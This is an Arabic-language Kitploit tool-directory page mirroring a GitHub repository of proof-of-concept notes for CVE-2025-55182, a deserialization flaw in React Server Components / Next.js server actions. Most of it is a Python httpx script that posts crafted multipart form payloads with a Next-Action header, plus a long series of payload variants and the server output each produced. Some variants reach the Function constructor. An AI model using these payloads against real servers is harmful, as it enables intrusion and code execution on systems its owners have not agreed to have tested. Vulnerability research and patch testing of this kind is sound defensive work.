Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — بعض الملاحظات && (إلى حد ما؟) محتوى مرتبط بـ poc لـ CVE-2025-55182 | Kitploit
أدوات/GitHubGitHub/c0rydoras/cve-2025-55182
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقArchived
GitHubc0rydoras/cve-2025-55182

CVE-2025-55182

بعض الملاحظات && (إلى حد ما؟) محتوى مرتبط بـ poc لـ CVE-2025-55182

عرض المستودع
41منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182

إذا كنت تبحث عن شرح فعلي، فإن msanft/CVE-2025-55182 يقدم شرحًا جيدًا (مع PoC عملي).

يحتوي هذا المستودع فقط على بعض الأشياء التي جربتها، والتي أسفرت عن نتائج مثيرة للاهتمام (نوعًا ما). يحتوي ./thing.py الآن على PoC عملي، ومعظمه مأخوذ من https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3.

أشياء قديمة


قالب:

root@kitploit:~
#!/usr/bin/env python3

import httpx

c = httpx.Client(base_url="http://localhost:3000")

ACTION_ID = "40215f71f44d409c19d8a149a5538b4444ba69ee0a"

files = {
    "0": (None, '["$1:constructor:constructor"]'),
    "1": (None, '{"a": "b"}'),
}

r = c.post("/", files=files, headers={"Next-Action": ACTION_ID})

الكود ذو الصلة: https://github.com/facebook/react/blob/bf1afade8d95d2ef6e862d995ee74921ca8d47c7/packages/react-server/src/ReactFlightServer.js#L2787-L2805 (والمزيد)

بعض الأمثلة

root@kitploit:~
files = {
  0: (None, '["$1:constructor:constructor"]'),
  1: (None, '{"a": "b"}'),
};
root@kitploit:~
Received: [Function: Function]
 POST / 200 in 25ms (compile: 9ms, render: 16ms)

root@kitploit:~
files = {
  0: (None, '["$1"]'),
  1: (None, "$@"),
};
root@kitploit:~
Received: <ref *1> Promise {
  status: 'rejected',
  value: null,
  reason: Error: Connection closed.
      at ignore-listed frames,
  _response: {
    _bundlerConfig: {},
    _prefix: '',
    _formData: FormData { '0': '["$1"]', '1': '"$@"' },
    _chunks: Map(3) { 0 => [Promise], 1 => [Promise], NaN => [Circular *1] },
    _closed: true,
    _closedReason: Error: Connection closed.
        at ignore-listed frames,
    _temporaryReferences: WeakMap { <items unknown> }
  }
}
 POST / 200 in 819ms (compile: 13ms, render: 807ms)

root@kitploit:~
files = {
    "0": (None, '["$F"]'),
}
root@kitploit:~
TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ uncaughtException: TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ uncaughtException:  TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ TypeError: Cannot read properties of null (reading 'id')
    at ignore-listed frames {
  digest: '1245562877'
}
 POST / 500 in 1687ms (compile: 10ms, render: 1677ms)

root@kitploit:~
files = {
    "0": (None, '["$T"]'),
}
root@kitploit:~
Received: [Function (anonymous)]
 ⨯ Error: Cannot access toString on the server. You cannot dot into a temporary client reference from a server component. You can only pass the value through to the client.
    at String (<anonymous>)
    at testAction (src/app/actions.ts:4:13)
  2 |
  3 | export async function testAction(formData: FormData) {
> 4 |     console.log("Received:", formData);
    |             ^
  5 |     return { ok: true };
  6 | } {
  digest: '3477126180'
}
 POST / 500 in 593ms (compile: 11ms, render: 582ms)

root@kitploit:~
files = {
    "0": (None, '{"then":"$T"}'),
}
root@kitploit:~
 POST / 500 in 598ms (compile: 15ms, render: 583ms)
 ⨯ Error: Attempted to call a temporary Client Reference from the server but it is on the client. It's not possible to invoke a client function from the server, it can only be rendered as a Component or passed to props of a Client Component.
    at ignore-listed frames {
  digest: '1436212446'
}
 POST / 500 in 541ms (compile: 16ms, render: 525ms)

root@kitploit:~
files = {
    "0": (None, '["$1:_response"]'),
    "1": (None, '"$@"')
}
root@kitploit:~
Received: <ref *1> {
  _bundlerConfig: {},
  _prefix: '',
  _formData: FormData { '0': '["$1:_response"]', '1': '"$@"' },
  _chunks: Map(3) {
    0 => Promise {
      status: 'fulfilled',
      value: [Array],
      reason: [Array],
      _response: [Circular *1]
    },
    1 => Promise {
      status: 'fulfilled',
      value: [Promise],
      reason: null,
      _response: [Circular *1]
    },
    NaN => Promise {
      status: 'rejected',
      value: null,
      reason: Error: Connection closed.
          at ignore-listed frames,
      _response: [Circular *1]
    }
  },
  _closed: true,
  _closedReason: Error: Connection closed.
      at ignore-listed frames,
  _temporaryReferences: WeakMap { <items unknown> }
}
 POST / 200 in 927ms (compile: 4ms, render: 923ms)

root@kitploit:~
files = {
    "0": (None, '["$S"]'),
}
root@kitploit:~
 ⨯ TypeError: Cannot read properties of null (reading 'arrayBuffer')
    at ignore-listed frames {
  digest: '2340683818'
}
 POST / 500 in 435ms (compile: 11ms, render: 424ms)

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '"$0"'),
}

ينتهي المهلة


root@kitploit:~
files = {
    "0": (None, '{"then":"$1:getAll"}'),
    "1": (None, '"$2:_response:_formData"'),
    "2": (None, '"$@"'),
}
root@kitploit:~
 ⨯ TypeError: Illegal invocation
    at ignore-listed frames {
  code: 'ERR_INVALID_THIS',
  digest: '1625121216'
}
 POST / 500 in 23ms (compile: 4ms, render: 19ms)

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:call"}'),
    "1": (None, '"$2:constructor"'),
    "2": (None, '{"a":0}'),
}
root@kitploit:~
 ⨯ TypeError: runMicrotasks is not a function
    at ignore-listed frames {
  digest: '2378694217'
}
 POST / 500 in 20ms (compile: 4ms, render: 16ms)
تنزيل الأداة